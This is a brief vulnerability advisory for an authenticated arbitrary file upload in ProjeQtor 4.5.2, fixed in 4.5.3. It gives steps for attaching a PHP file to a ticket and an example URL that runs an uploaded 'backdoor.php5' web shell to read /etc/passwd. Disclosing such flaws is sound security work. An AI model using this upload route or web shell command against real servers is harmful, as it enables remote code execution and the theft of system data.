ProjeQtor 4.5.2 Shell Upload Vulnerability

Vulnerability title: Arbitrary File Upload In ProjeQtor
CVE: Not yet assigned
Vendor: ProjeQtor
Product: ProjeQtor
Affected version: 4.5.2
Fixed version: 4.5.3
Reported by: Arturo Rodriguez
Details:

It was discovered that authenticated users were able to upload files with extensions: php3, php4, php5 or phtml to the web server.

As a project member, go to Tickets > Create a new ticket > attach a php5 file and then go to http://<<projeqtorpath>>/files/attach/attachement_<<id>>/<<filename>>.php5 to execute the php code.

example: http://localhost/projeqtor/files/attach/attachement_6/backdoor.php5?cmd=cat%20/etc/passwd

Impact:
An attacker could exploit the functionality to upload server scripts which, when requested by a browser, would execute code on the server.

#  0day.today [2018-03-10]  #